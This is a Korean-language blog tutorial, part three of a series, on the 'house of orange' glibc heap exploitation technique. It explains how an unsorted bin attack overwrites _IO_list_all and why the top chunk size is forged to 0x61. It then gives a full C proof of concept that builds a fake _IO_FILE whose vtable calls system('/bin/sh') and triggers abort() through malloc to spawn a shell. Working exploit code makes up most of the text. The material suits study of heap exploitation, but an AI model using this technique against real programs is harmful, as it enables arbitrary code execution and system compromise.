Profile

youngsouk

youngsouk

house_of_orange (3)

저번까지는 가짜 구조체를 작성하는 방법에 대해 알아보았습니다. 이제는 _IO_list_all을 덮음으로서 이 가짜 구조체를 진짜라고 인식하게 하는 과정을 거쳐야합니다. _IO_list_all을 덮는 방법에 대해서는 fastbin double free, unsorted bin attack 등 여러개가 있을테지만 이번에는 unsorted bin attack을 상용할 것입니다. 

여기서 1가지 문제점이 발생하는데 unsorted bin attack을 사용하여 _IO_list_all을 main_arena + 88로 덮게 되면 그 부분은 bin 관려한 정보가 있는 main_arena영역이기 때문입니다. 

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

저번에 보았던 소스코드에서 조건문을 통과하지 못하면 fp = fp-> _chain 이부분에 의해 fp가 갱신되게 됩니다. 그래서 이것을 이용하여 우리가 원하는 부분으로 fp의 값을 갱신시킬 수 있습니다.

먼저 unsorted bin attack을 하기 위해 free된 청크의 bk를 _IO_list_all - 2 * SIZE_SZ로 덮습니다. 

그 다음에는 top chunk의 크기를 수정해 주어야하는데 이것이 필요한 이유는 _IO_list_all을 main_arena로 덮었을때 _chain에 해당하는 부분이 smallbin[4]에 해당하는 크기입니다. 따라서 top chunk의 크기를 0x61로 수정해주어햐 합니다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void sys(char* ptr){
        system(ptr);
}

int main(){
        char *p1_chunk = malloc(8) - 2 * 8;     
        size_t*  top = (size_t*) (p1_chunk + 32);
        size_t _IO_list_all;

        top[1] = 0xfe1;

        malloc(0x1000);

        memcpy((char*)top,"/bin/sh\x00",8); // _IO_OVERFLOW's parameter
        // fake _IO_FILE_PLUS 
        _IO_FILE *fp = (_IO_FILE *) top;

        fp->_mode = 0; // top +0xc0
        fp->_IO_write_base = (char*)1; // top+0x20
        fp->_IO_write_ptr =  (char*)2; // top+0x28

        *(size_t *) (((size_t)fp + sizeof(_IO_FILE))) = (size_t)&top[5];// vtable : &top[12]
        top[8] =(size_t) &sys; // write _IO_OVERFLOW()
        //////////////////////

        // unsorted bin attack
        _IO_list_all = top[2] + 0x9a8; // calculate _IO_list_all using offset

        top[3] =(size_t)_IO_list_all - 16;
        /////////////////////

        //adjust chunk size
        top[1] = 0x61;
        ////////////////////
}

이렇게 공격할 준비를 끝마친 뒤에 malloc()을 한번 더 호출해줌으로서 abort()가 작동하게 만들면 됩니다. 여기서 헷갈리는 부분이 있을 수 있는데, unsorted bin attack을 하기 전에 abort()가 일어나지 않나라고 생각하실 수 있습니다. 하지만 

_int_malloc()중

//unsorted bin에 있는 청크들이 요청한 크기와 같은지 확인하고(재할당의 기회)맞지 않으면 청크를 크기에 맞는 bin에 넣어준다.
for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

이쪽 부분에서 오류가 나게 되는데 우리의 top chunk가 인자로 들어갔을 때에는 조건문을 통과해서 smallbin[4]에 들어갑니다. 그런데 top chunk의 bk를 _IO_list_all - 0x10으로 수정을 해서 다음 for문의 인자는 _IO_list_all - 0x10가 되어서 크기에 0이 들어있어서 조건문을 통과하지 못하게 됩니다. 그래서 오류가 나게됩니다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void sys(char* ptr){
        system(ptr);
}

int main(){
        char *p1_chunk = malloc(8) - 2 * 8;
        size_t*  top = (size_t*) (p1_chunk + 32);
        size_t _IO_list_all;

        top[1] = 0xfe1;

        malloc(0x1000);

        memcpy((char*)top,"/bin/sh\x00",8); // _IO_OVERFLOW's parameter
        // fake _IO_FILE_PLUS 
        _IO_FILE *fp = (_IO_FILE *) top;

        fp->_mode = 0; // top +0xc0
        fp->_IO_write_base = (char*)1; // top+0x20
        fp->_IO_write_ptr =  (char*)2; // top+0x28

        *(size_t *) (((size_t)fp + sizeof(_IO_FILE))) = (size_t)&top[5];// vtable : &top[12]
        top[8] =(size_t) &sys; // write _IO_OVERFLOW()
        //////////////////////

        // unsorted bin attack
        _IO_list_all = top[2] + 0x9a8; // calculate _IO_list_all using offset

        top[3] =(size_t)_IO_list_all - 16;
        /////////////////////

        //adjust chunk size
        top[1] = 0x61;
        ////////////////////

        //triger abort()
        malloc(10);
}

이것을 컴파일 후 실행시키게 되면

이렇게 쉘이 따지는 것을 볼 수 있습니다. 보통은 one_gadget으로 _IO_OVERFLOW을 덮지만, 덮을 수 없는 경우에는 이렇게 /bin/sh\x00을 system()의 인자로 주면 됩니다.

(grin)